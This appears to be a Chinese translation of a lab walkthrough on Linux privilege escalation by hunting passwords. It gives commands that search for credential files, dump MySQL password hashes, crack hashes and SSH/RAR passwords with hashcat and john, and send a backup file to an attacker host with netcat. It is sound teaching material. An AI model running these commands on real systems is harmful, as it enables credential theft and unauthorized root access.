Linux 提权-密码搜寻

本文通过 Google 翻译 Password Hunting -- Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航

  • [0 前言](#0 前言)
  • [1 密码搜寻 -- 文件名和文件内容](#1 密码搜寻 – 文件名和文件内容)
    • [1.1 寻找有趣的文件名](#1.1 寻找有趣的文件名)
    • [1.2 寻找有趣的字符串](#1.2 寻找有趣的字符串)
  • [2 密码搜寻 -- Web 文件/Config 文件](#2 密码搜寻 – Web 文件/Config 文件)
    • [2.1 Config 文件中的密码](#2.1 Config 文件中的密码)
    • [2.2 Web 文件中的密码](#2.2 Web 文件中的密码)
      • [2.2.1 使用 Hashcat 破解密码](#2.2.1 使用 Hashcat 破解密码)
  • [3 密码搜寻 -- 隐藏文件/文件夹](#3 密码搜寻 – 隐藏文件/文件夹)
    • [3.1 隐藏文件/文件夹中的密码](#3.1 隐藏文件/文件夹中的密码)
    • [3.2 Bash 历史文件中的密码](#3.2 Bash 历史文件中的密码)
    • [3.3 SSH 密钥密码](#3.3 SSH 密钥密码)
      • [3.3.1 使用 John 破解 SSH 密钥密码](#3.3.1 使用 John 破解 SSH 密钥密码)
  • [4 密码搜寻 -- MySQL](#4 密码搜寻 – MySQL)
    • [4.1 内置数据库中的密码哈希值 -- MySQL](#4.1 内置数据库中的密码哈希值 – MySQL)
      • [4.1.1 使用 Hashcat 破解 mysql 哈希](#4.1.1 使用 Hashcat 破解 mysql 哈希)
    • [4.2 自建数据库中的密码哈希值 -- MD5](#4.2 自建数据库中的密码哈希值 – MD5)
      • [4.2.1 使用 Hashcat 破解 md5 哈希](#4.2.1 使用 Hashcat 破解 md5 哈希)
    • [4.3 自建数据库中的密码哈希值 -- Base64](#4.3 自建数据库中的密码哈希值 – Base64)
  • [5 密码搜寻 -- /var/backups 文件夹](#5 密码搜寻 – /var/backups 文件夹)
    • [5.1 使用 Hashcat 破解 shadow 哈希](#5.1 使用 Hashcat 破解 shadow 哈希)
  • [6 密码搜寻 -- 受密码保护的文件](#6 密码搜寻 – 受密码保护的文件)
    • [6.1 使用 John 破解 RAR 文件密码](#6.1 使用 John 破解 RAR 文件密码)
  • [7 自动工具寻找密码 -- LinPEAS](#7 自动工具寻找密码 – LinPEAS)

0、前言

在这篇文章中,我们将探讨在目标 Linux 机器上搜寻密码的技巧,以此作为横向或纵向提升权限的一种手段。我们将回顾各种搜寻密码的技术,以及密码存储的一些常见位置。在搜寻过程中,我们将在脚本、配置文件、文件名、哈希值中发现凭证!

用户甚至管理员(root)重复使用他们的密码或将他们的密码留在系统可读的位置是很常见的。

除了系统中随处可见的密码,我们还可以在很多地方找到密码哈希或受密码保护且需要破解的文件。因此,本文将使用 HashcatJohn 进行大量破解。

当您在系统上发现任何密码时,无论是在初始利用阶段还是后利用阶段,您都必须尽可能地测试该密码!此外,请根据找到的所有用户名测试找到的所有密码,因为密码重复使用是一个大问题,而且非常常见!

在所有这些示例中,我们都将使用手动技术来查找密码和哈希值。不过,在文章的最后,我们还将看到工具(LinPEAS)在搜寻方面的表现。

我们将在这篇文章中介绍很多内容,让我们直接进入主题吧!

首先,假设我们已找到凭证并以标准用户 cain 的身份在目标 Linux 机器上站稳了脚跟。

1、密码搜寻 -- 文件名和文件内容

在寻找密码时,我们首先要做的一件事就是进行高级搜索,查找文件名中包含 "password" 的文件。除了文件名之外,我们还应该查找文件中的字符串 "password"。

1.1、寻找有趣的文件名

在查找文件系统中文件的 "password" 字符串之前,我们应该先查找包含 "password" 的文件名。此外,我们还应该查找包含我们能想到的任何其他有趣字符串的文件名(config、php 等)。

我们可以使用一些命令来执行此类搜索。

首先,我们可以使用以下 find 命令:

find / -exec ls -lad $PWD/* "{}" 2>/dev/null \; | grep -i -I "passw\|pwd"

上述搜索将非常冗长,需要一些时间才能完成,因为它会检查整个文件系统中是否存在包含字符串 "passw" 或 "pwd" 的文件名。此搜索的好处是 "passw" 涵盖了 passw、passwd 和 password;而 "pwd" 是 password 一词的另一种常见解释。

我们还可以使用另一个命令来梳理整个文件系统以查找名称中包含特定字符串的文件,即 locate 命令。

locate 'passw'
locate 'pwd'
locate '*.php'

关于 locate 命令最棒的地方在于它运行速度非常快,这使得我们可以在短时间内使用关键字搜索各种不同的文件名/文件类型。

这两种在搜索名称中包含特定字符串文件的方法都会产生大量结果,但如果我们花点时间查看输出结果,可能会发现一些 JUICY 文件(即包含密码的文件)。

1.2、寻找有趣的字符串

我们可以很好地利用 grep 命令来在整个文件系统中搜索包含字符串 "passw" 和 "pwd" 的文件;但是,它也会产生大量结果。

grep --color=auto -rnw '/' -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

这种搜索会用红色显示字符串,用紫色显示完整的文件路径,以及显示在文件中找到该字符串的行号。这种搜索的唯一问题是输出量太大,要解析这些内容需要相当长的时间,所以最好还是执行更精细、更有针对性的搜索。

为了更加精细,我们可以导航到感兴趣的目录,然后运行与上面相同的命令。但这一次,我们将去掉 "/",这样它就只递归搜索当前目录中的文件。

例如,我们可以导航到通常能找到有趣文件的常用文件夹,如 /var/www、/tmp、/opt、/home 等,然后执行以下命令:

grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

通过上述方法,我们能够大大减少结果并快速在 config.php 文件中找到了密码。

2、密码搜寻 -- Web 文件/Config 文件

我们通常会在 webroot 目录中找到凭证(通常是连接 MySQL 数据库的帐户密码)。一般情况下,webroot 目录总是位于 /var/www,其中还包含我们在获得立足点之前使用 gobuster 或 dirb 等工具对子目录进行模糊测试时找到的网页。

通常,我们主要寻找 PHP 配置文件。然而,我们也可以在许多其他可能的文件类型中找到凭据,例如 TXT 文件、bash 脚本、其他脚本、ZIP 文件、其他压缩文件类型(tar、gz 等)、DB 文件等。

2.1、Config 文件中的密码

导航到 /var/www/ 我们可以看到这里有几个文件,但最引人注目的是 "config.php"。

请注意,您不会总能找到 "config.php" ,但只需确保查看所有 PHP 文件即可。因为它可能是 db.php、config.php、pwd.php,甚至是随机文件。

检查 config.php 文件的内容,我们可以看到该文件用于以 root 用户身份访问 MySQL 数据库,文件中还显示了明文用户名和密码!

root:SuperS3cureP@ssw0rd

Amazing!现在,我们应该能够使用这些凭据以 "root" 数据库用户身份进入 MySQL 数据库。但是,并不意味着该凭据也是 shell 的 root 凭据(但也不排除这种可能)! 因此,进行 su root 测试尝试是一个好主意。如果我们真的很幸运,我们将切换用户并进入 root shell。

测试中我们发现认证失败了,这说明该密码并不是 root 帐户的密码。

但是,当我们尝试使用这些凭据访问 MySQL 数据库时,我们能够顺利进入!

mysql -u root -p

在这里,我们可以枚举数据库以获取更多密码哈希值(稍后详述),甚至可以设置 UDF 漏洞并提升到 root。

如果您想了解如何通过使用 UDF 漏洞利用 MySQL 数据库来提升权限,请查看我关于此主题的帖子

2.2、Web 文件中的密码

如前所述,我们可以在 webroot 中找到许多文件来查找凭据。其中一个文件用于存储 WebDav 服务器的凭据。

WebDav 是一个供用户在服务器上创建、更改和移动文档的框架。

WebDav 密码是哈希值,使用名为 htpasswd 的工具生成。凭证将提供对 WebDav 服务器的访问权限,通常位于网站后台,以允许文件上传等。

攻击此服务通常是使用名为 cadaver 的工具在外部完成的,该工具用于上传恶意 PHP 文件协助获取 shell。通过恶意 PHP 获取到的 Shell 的身份通常是 www-data,但也可能是标准用户,甚至是 root。

尽管攻击该服务通常是为了在目标上获得立足点,但由于它使用密码文件,因此也可帮助权限提升。

继续在 webroot 中搜索,我们在 /var/www/htmp/web/webdav 目录中找到一个一个名为 passwd.dav 的有趣文件

使用 htpasswd 生成的密码文件没有指定的扩展名。因此,使用 WebDav 凭据生成的文件可以具有任何扩展名,甚至根本没有扩展名。我见过:*.password / *.dav / *.pwd 等。

打开文件,我们可以看到有一个以以下内容开头的密码哈希:$apr1$ --- 一个专门针对 Apache 而修改的 MD5 版本

我们可以看到哈希值属于 devops 用户,检查 /etc/passwd 文件,我们可以确定该账户在系统上是有效用户!

有了这些信息,我们就应该考虑破解这个哈希值,因为它可能与用户的实际密码相同,并允许我们登入 devops 用户。不过,即使 /etc/passwd 中不存在 devops 用户,我们仍应尝试破解该密码,并将其添加到密码列表中,以便在其他可能的地方进行测试尝试。

2.2.1、使用 Hashcat 破解密码

为了准备破解这个哈希,我们可以复制 passwd.dav 文件的内容(不包含用户名和冒号)并将其粘贴到攻击者机器上的 TXT 文件中。

完成后,我们可以使用 hashcat 的以下命令来查找此类哈希对应的破解模式:

hashcat -h | grep -i '$apr'

我们发现此哈希类型的破解模式是 1600,可以将其插入以下命令以开始破解此哈希。

hashcat -m 1600 ./webdav.hash /usr/share/wordlists/rockyou.txt -o cracked.dav

仅一秒钟,哈希就被成功破解!

检查输出文件 cracked.dav,我们可以看到我们已经成功恢复密码。

devops : DeVeLoPeR712

现在我们已经找到了系统中的一组有效凭据,就可以尝试使用 su 进入该用户,让我们更接近 root 身份。

3、密码搜寻 -- 隐藏文件/文件夹

任何目录内都可能存在隐藏的文件或文件夹,但如果您不查找它们,就不会看到它们。

在类 Unix 系统上,隐藏文件和文件夹都以句点开头,如 .bash_history 文件或 .ssh 文件夹。

要查找隐藏的文件或文件夹,我们可以使用 ls 命令的 "-a" 参数,如下所示:

ls -la

我们应该养成 在使用 ls 命令时始终添加 -a 参数的习惯,如此,便不会在枚举过程中错过任何有趣的文件或文件夹。

3.1、隐藏文件/文件夹中的密码

在受害者机器上找到立足点后,我们首先要查找的是文件系统根目录下的任何非标准和/或隐藏文件/文件夹。

ls -la /

这里我们可以看到文件系统根目录中有两个非标准文件夹,其中一个是隐藏文件夹:.important

share 目录是另一个非标准目录,它是另一篇文章的一部分,该文章展示了如何从 NFS 共享提升权限。

由于 .important 目录是隐藏的且由当前用户拥有,因此这是一个值得仔细研究的有趣目录。

导航到隐藏目录并再次使用 ls -la 命令,我们可以看到有一个名为 .password 的隐藏文件;在里面,我们找到另一个可以添加到密码文件本中的密码。

Password123!

我们应该始终记得在文件系统根目录下寻找非标准目录;不过,有两个已知的隐藏文件/文件夹存在于每个用户的主目录中,它们是 .bash_history 文件和 .ssh 文件夹。.bash_history 文件存在于每个用户的主目录中,但 .ssh 文件夹只有在用户拥有 SSH 密钥时才会存在。

3.2、Bash 历史文件中的密码

.bash_history 文件是一个存储用户在命令提示符下输入的命令历史记录的文件,用于查看已执行过的旧命令。用户当前会话会将命令历史保存到内存中,可以使用历史命令查看。但一旦用户注销,内存中的命令就会保存到 .bash_history 文件中。

当我们在目标上站稳脚跟后,我们要做的事情之一就是列举系统中拥有 home 配置文件的用户数量,以及在我们找到的所有配置文件中,有多少我们可以查看的 bash 历史文件。

该系统有三个用户配置文件:cain、devops、juggernaut

检查了三个 home 配置文件后,我们发现无法查看 devops 用户的 .bash_history 文件;但是,我们可以查看当前用户 cain 和 juggernaut 的!

尝试查看每个用户的 bash 历史文件的内容时,我们在自己的文件中没有发现太多值得关注的内容,但是在 juggernaut 里发现了一些有趣的东西。

命令历史记录告诉我们,用户尝试通过在命令行上直接传递 root 凭据来登录 MySQL 服务器。

由于我们已经在 config.php 文件中找到了这些凭据,因此我们知道这些凭据可以让我们进入 MySQL 服务器,在那里我们可以枚举出更多密码哈希值!

3.3、SSH 密钥密码

当我们枚举不同的用户配置文件时,我们可能会遇到一个包含 SSH 密钥的隐藏文件夹!这通常名为 .ssh ,可以使用 ls-la 找到。

检查 juggernaut 的 home 文件夹,我们发现有一个 .ssh 目录,里面存在一个 id_rsa 文件并且我们有读取权限!

id_rsa 文件是一个私钥,可用于在不知道用户密码的情况下登录 SSH,但前提是在创建密钥时没有设置密码。就进入系统而言,此文件本质上相当于密码。

由于我们有此文件的读取权限,因此可以使用 cat 命令显示文件的内容,然后将其完整复制到攻击机器。

在我们的攻击者机器上

Perfect!我们已将 juggernaut 的密钥复制到攻击者的机器上,现在可以使用它登录了。在登录之前,我们还需要将私钥文件的权限设置为 600

如果不将权限设置为 600,私钥将无法使用。因为 ssh 限定必须如此,以此来提高该文件的安全性。

不幸的是,当我们尝试登录时,系统提示我们输入私钥的密码。这意味着在最开始创建私钥文件时确实设置了密码。

chmod 600 juggernaut_id_rsa

ssh -i ./juggernaut_id_rsa juggernaut@172.16.1.175

幸运的是,我们可以使用一个工具将密钥转换为可破解的 hash 格式,然后尝试使用 John 来破解它。

3.3.1、使用 John 破解 SSH 密钥密码

对于大多数受密码保护的文件类型,John 拥有不同的工具可用于将特定文件类型转换为可破解的格式。这些工具都名为 xxx2john,可以使用以下命令在攻击者机器上找到整个列表:

locate *2john

使用上述命令,您将看到有很多文件类型可以用 John 破解,其中也包括 "SSH" 文件格式。

由于我们要破解的是 SSH 密钥,因此可以使用 ssh2john 将私钥文件转换为可破解格式。

ssh2john juggernaut_id_rsa > jugg.john

将输出重定向到文件后,我们可以看到文件已被格式化,以便破解。现在我们可以尝试使用 John 和 rockyou.txt 单词表来破解密码。

john jugg.john --wordlist=/usr/share/wordlists/rockyou.txt

一瞬间,John 就破解了密码: P@ssw0rd

现在我们可以使用该密码尝试通过 SSH 登录受害者。

Amazing!我们成功了!

在以新用户身份站稳脚跟后,我们需要再次开始手动枚举,首先要运行的命令之一是 sudo -l,以查看该用户是否有能力以 root 用户身份运行任何程序。

当我们运行 sudo -l 时,系统会提示我们输入密码。由于密码重用非常常见,因此我们可以测试用户在其 SSH 密钥上设置的密码。如果幸运的话,他们在制作密钥时会重用他们实际的登录密码。

输入 "P@ssw0rd" 作为密码,我们可以看到用户确实重复使用了他们的密码,而且我们拥有了完全的 sudo 访问权限!

看到 (ALL) ALL 意味着通过该用户,我们拥有完全的 root 访问权限!要提升为 root 用户,我们只需运行 sudo su - 就可以了。

BOOM!由于密码重复使用,升级将变得微不足道!

您可能已经注意到,第二次运行 sudo 时没有提示我输入密码。这是因为默认情况下,sudo 仅在 5 分钟不活动后才会提示您输入密码。每次运行 sudo 时,它都会重置 5 分钟计时器,并允许使用 sudo 而无需再次输入密码。

4、密码搜寻 -- MySQL

之前我们在位于 webroot (/var/www) 的 config.php 文件中找到了 MySQL 的 root 凭据,同时也在 juggernaut 用户的 .bash_history 文件中找到了相同的凭据。

让我们登入 MySQL 并枚举数据库和表,如果幸运的话,我们可能会找到 Web 应用程序以及 MySQL 自身的用户名和密码。

mysql -u root -p

Awesome!我们已进入了 MySQL,现在可以开始枚举数据库了。

show databases;

前四个数据库是默认内置的数据库,在这四个数据库当中,我们最感兴趣的是 mysql 数据库,因为这个数据库包含了可以让我们进入 MySQL 的登录凭据。

除了默认数据库之外,我们始终应该对自定义数据库感兴趣,因为自定义数据库通常会与 Web 应用程序相关联。如果我们在这里找到一些密码哈希值,也许就能破解它们,并利用它们来增加我们的访问权限。

4.1、内置数据库中的密码哈希值 -- MySQL

在 mysql 数据库中,我们可以使用 use 命令切换当前使用的数据库,然后使用 show 命令查看所有表,其中最令人感兴趣的是该数据库中的用户表。

use mysql;
show tables;

现在我们知道要查看哪个表了,可以使用以下命令转储所有行和列:

select * from user;

这里有两个哈希值。不过,root 哈希值是我们用来进入 MySQL 的密码的哈希值,这是因为 数据库 mysql 保存着 MySQL 服务运行相关的状态、用户等信息。我们可以使用以下命令检查密码是否相同:

select password('SuperS3cureP@ssw0rd');

此命令会将传递的字符串转换为哈希值。可以看到,user 表中 root 用户的密码哈希与我们用于登录 MySQL 的密码的哈希是相同的。但是,我们找到的 dev 用户的哈希是唯一的,因此我们可以将此哈希复制到攻击者机器上的 TXT 文件中,然后使用 hashcat 对其进行破解。

4.1.1、使用 Hashcat 破解 mysql 哈希

当我们把这个哈希值复制到攻击者的机器上时,我们需要把前面的 "*"去掉,就像这样:

echo 'D37C49F9CBEFBF8B6F4B165AC703AA271E079004' > mysql.hash

现在,当前目录中有一个名为 mysql.hash 的文件,我们可以将其传递给 hashcat 来破解此哈希。开始破解之前,我们需要使用以下命令找到此哈希类型的破解模式:

hashcat -h | grep -i 'mysql'

Perfect!在这里我们可以看到需要使用的破解模式是 300,剩下要做的就是把它们组合在一起然后破解这个哈希。

hashcat -m 300 ./mysql.hash /usr/share/wordlists/rockyou.txt -o cracked.txt

一秒钟,我们就破解了哈希!现在我们需要从输出结果的 cracked.txt 文件中查看密码。

就这样,我们的密码本中又新增了一个新密码:letmein

4.2、自建数据库中的密码哈希值 -- MD5

现在我们将注意力转向自定义数据库 web_app 数据库。

use web_app;
show tables;

在这里我们注意到有两个表引起了我们的兴趣:users、passwd,让我们先转储 users 表。

select * from users;

该表有两个用户名和密码哈希值。由于该数据库与网络应用程序绑定,因此破解这些哈希值很可能会让我们以不同用户的身份登录 Web 应用程序。但这也在意料之中,因为密码的重复使用,我们还可以测试其他地方。

我们可以将这些哈希带到攻击者机器上,就像我们对找到的 mysql 数据库凭据所做的那样,然后使用 hashcat 破解它们。但是,这些哈希与 Web 应用程序相关,而 Web 应用程序通常会使用某种哈希算法来存储密码。但目前,我们还不知道这些哈希是什么类型的。

4.2.1、使用 Hashcat 破解 md5 哈希

我们要做的第一件事是确定这些哈希的类型。我们可以使用内置在 kali 中的一款名为 hash-identifier 的出色工具来做到这一点。

执行命令 hash-idenfier 后,我们可以将其中一个哈希粘贴到 HASH: 字段中,然后它将尝试确定这是什么类型的哈希。

这里我们可以看到可能的哈希值为 MD5MD4 域缓存凭证 。由于这不是 Windows 机器,因此可以肯定这些是MD5

现在我们知道了哈希类型,我们需要获取这两个哈希并将它们添加到攻击者机器上的 TXT 文件中,然后继续破解它们。

hashcat -h | grep -i 'md5'

在检查破解模式时,我们看到很多结果都是 MD5,但这是一个原始 MD5 哈希值,因此我们需要使用破解模式 0

hashcat -m 0 ./webapp.hash /usr/share/wordlists/rockyou.txt -o webapp_cracked.txt

瞬间,哈希值就被成功破解(0 秒)。然后,检查密码文件,我们发现 devops 用户的密码与我们之前找到的密码相同,但 admin 用户的密码是新密码!

好的,现在我们需要检查我们发现的另一个有趣的表 -- "passwd"表。

4.3、自建数据库中的密码哈希 -- Base64

就像我们已经做的那样,我们可以再次使用以下命令快速转储该表的所有行和列:

select * from passwd;

看起来我们找到了另外一个 root 密码,但从末尾的等号来看,它可能是 base64 编码的。

SXNoYWxsbjB0YmVjcmFja2VkIQo=

然而,当我们尝试直接使用它以 root 身份登录时,却失败了!

由于这不起作用,我们应该尝试进行 base64 解码。

经常会发现经 base64 编码后的字符串是以一个或两个等号结尾,但情况并非总是如此。因此,当您发现任何主要由大写和小写字母组成的有趣字符串时,请首先检查它是否是 base64 编码的。

echo 'SXNoYWxsbjB0YmVjcmFja2VkIQo=' | base64 --decode

Amazing!该字符串经过 base64 解码后变为:Ishalln0tbecracked!

一个好建议是将 base64 字符串和我们解码的实际密码都添加到密码文件中,因为这样会增加破解密码的可能性。

当我们测试解码后的密码时,就可以以 root 身份登录!

5、密码搜寻 -- /var/backups 文件夹

/var/backups 文件夹一般用于存储一些自动备份,例如 passwdshadow 文件的备份。但是,默认备份文件将具有一组受限制的权限,就像实际文件一样。

本质上,我们正在寻找以下两种场景之一:

  1. 备份文件夹中的文件具有弱权限,允许我们读取本不应该读取的文件。
  2. 文件夹中有我们可以读取的自定义文件。

对于这个例子,我们将介绍场景 2。

导航到该文件夹,我们可以使用 ls -la 查看所有文件,包括任何隐藏文件。

我们可以看到所有默认文件(如 passwdshadow 备份)都被锁定并归 root 所有(即只有 root 有权查看)。但是,我们可以看到这里有一个 db 文件,这种类型的文件通常是由 Sqlite3 构建的包含表、列和行的数据库。

如果我们尝试简单地 cat 此文件,我们将看到一堆乱码 -- 就像用 cat 查看二进制文件一样。

但是,与二进制文件类似,我们可以使用 strings 命令从文件中提取字符串。

strings ./pwds.db

在这里我们可以看到三个哈希值,其中有两个是唯一的一个是重复的,我们可以将其复制到攻击者的机器上并使用 hashcat 进行破解。这些哈希似乎也是来自 "$6" 的 unix OS 哈希值,这也是我们在 shadow 文件中经常看到的。

5.1、使用 Hashcat 破解 shadow 哈希

由于我们只关心哈希本身,因此我们只需要从$6$复制到 SHA-512 字符串的末尾。将两者复制到攻击者的机器后,它应该如下所示:

就像以前一样,我们首先搜索破解模式,然后我们就可以继续破解哈希。

hashcat -h | grep -i '$6'

这里告诉我们这是一个 SHA-512 Unix OS 哈希,当我们看到它们看起来像影子文件哈希时,我们已经预料到了 -- 因为它们就是!

由于 Unix SHA-512 哈希值相当不错,因此需要几个小时才能跑完整个 rockyou.txt 文件。因此,我们可以使用较精简版本的 rockyou 来加快速度。如果不成功,我们可以找一个更大一些的单词表。

您可以从 SecLists 中获得一些 rockyou 的精简版本,以及更多优秀的单词表。

hashcat -m 1800 ./shadow.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -o shadow.cracked

在一分钟的时间内,hashcat 针对两个哈希值跑完了整个单词列表,但只恢复了一个。

此时,我们可以用找到的这个密码进行尝试来增加我们的访问权限。并且,我们还可以使用更长字典来对第二个哈希重新运行 hashcat。但是,我们已经找到了这个密码,所以让我们继续吧!

6、密码搜寻 -- 受密码保护的文件

对于我们的最后一个手动示例,我们将研究在枚举过程中可能值得仔细检查的有趣文件类型,这包括 PDF、RAR、ZIP、7z 等文件。当然,这些文件可能受密码保护。

由于密码重用是一个反复出现的问题,因此通常会发现用于保护文件的密码通常与用户登录时使用的密码相同。

假设在目标机器站稳脚跟后,我们检查公共文件夹中是否存在有趣的文件。当我们检查 /opt 文件夹时,我们发现其中有一个名为 backup.rar 的有趣 RAR 文件 ,该文件属于 devops 用户。

由于这是一个备份文件,因此我们应该考虑将此文件下载到我们的攻击者机器上用以仔细查看。为此,我们可以使用 netcat

首先,我们需要在攻击者的机器上设置一个监听器来获取文件。

nc -nvlp 443 > backup.rar

运行该程序后,我们在受害者机器上运行以下命令,将 backup.rar 文件提供给攻击者机器:

nc 172.16.1.30 443 < /opt/backup.rar

当我们检查攻击者的机器时,我们可以看到文件已完整发送(396 字节)。

现在该文件已提供给我们的攻击者机器,我们可以尝试使用 unrar 命令和 "e" 选项来提取它。

unrar e ./backup.rar

但是解压失败了,因为需要密码才能解压!

6.1、使用 John 破解 RAR 文件密码

由于我们尝试破解的是 RAR 文件,因此我们可以使用 rar2john 将 RAR 文件转换为可破解的格式。

rar2john ./backup.rar > john_rar

将输出重定向到文件后,我们现在可以尝试使用 John 和 rockyou.txt 单词表来破解密码。

john john_rar --wordlist=/usr/share/wordlists/rockyou.txt

不到一分钟,john 就破解了密码:DeVeLoPeR712

现在我们可以使用此密码解压 RAR 文件并查看里面的内容了。

成功了!我们解压了三个文件:container_info.txt、ubuntu_config.txt 和 devops.txt。不过,在检查了这三个文件的内容后,我们并没有发现什么有趣的东西。

我们可以看到有提示表明该文件属于 devops 用户,并且我们已经看到 DeVeLoPeR712 与该用户登录系统时使用的密码相同。

7、自动工具寻找密码 -- LinPEAS

最后,我们来到了工具部分!在这里,我们将看到 LinPEAS 究竟为我们枚举了多少我们手动找到的东西。

关于 LinPEAS 工具的传输部分此处省略。

执行命令 ./linpeash.sh 后会输出很多枚举内容,要查找密码相关的信息,我们需要向下滚动到 Interesting Files 部分,有时还需要查看 Software Information 部分。

首先,让我们看看 LinPEAS 是如何处理文件和文件名中的密码搜索。

我们可以看到 LinPEAS 的搜索非常有针对性,因此输出结果并不多。对于文件名中有趣的字符串,LinPEAS 只有以下子部分:Searching password or credential files in home (limit 70)。虽然它说的是"在 home 目录中",但它实际上会检查整个文件系统。遗憾的是,70 的限制有助于减少输出结果,但它也遗漏了许多潜在的可能。

文件内容中的字符串搜索也非常有针对性,例如它在日志文件、配置 PHP 文件以及其他一些文件中搜索密码。

对于 LinPEAS 示例的其余部分,我们将查看它能够找到多少与我们找到的相同的文件。

  • Config.php? -- 找到了!且提取了密码的内容。
  • passwd.dav? -- 未找到!
  • 隐藏文件和文件夹:/.important/.password? -- 找到了!但未提取内容。
  • .bash_history 文件? -- 找到了!但不会提取内容。
  • .ssh 文件夹和 SSH 密钥? -- 找到了!但不会提取内容。
  • MySQL 中的哈希值? -- 未找到!因为 mysql 登录需要账户密码,LinPEAS 无法访问数据库。(若登录密码为空,说不定能列出哈希值)
  • pwds.db? -- 找到了!且提取了哈希的内容。在这里我们可以看到它只在文件中提取了一个哈希,但这足以让我们知道,我们可以进一步手动探索它。
  • backup.rar? -- 找到了!

还不错!LinPEAS 能够枚举出我们能够发现的大多数包含密码的文件,甚至从其中一些文件中提取了密码和哈希值。然而,这些结果同时也告诉我们,虽然 LinPEAS 非常出色,但没有什么比人工枚举更有效了(因为 LinPEAS 同时也枚举出了很多干扰文件)。

相关推荐
编程修仙10 分钟前
Collections工具类
linux·windows·python
芝麻团坚果26 分钟前
对subprocess启动的子进程使用VSCode python debugger
linux·ide·python·subprocess·vscode debugger
写点什么啦32 分钟前
[debug]不同的window连接ubuntu的vscode后无法正常加载kernel
linux·vscode·ubuntu·debug
wellnw39 分钟前
[ubuntu]编译共享内存读取出现read.c:(.text+0x1a): undefined reference to `shm_open‘问题解决方案
linux·ubuntu
不爱学习的YY酱41 分钟前
【操作系统不挂科】<CPU调度(13)>选择题(带答案与解析)
java·linux·前端·算法·操作系统
DC_BLOG42 分钟前
Linux-Nginx虚拟主机
linux·运维·nginx
XY.散人1 小时前
初识Linux · 信号处理 · 续
linux·信号处理
1900431 小时前
linux复习5:C prog
linux·运维·服务器
猫猫的小茶馆2 小时前
【C语言】指针常量和常量指针
linux·c语言·开发语言·嵌入式软件
朝九晚五ฺ2 小时前
【Linux探索学习】第十五弹——环境变量:深入解析操作系统中的进程环境变量
linux·运维·学习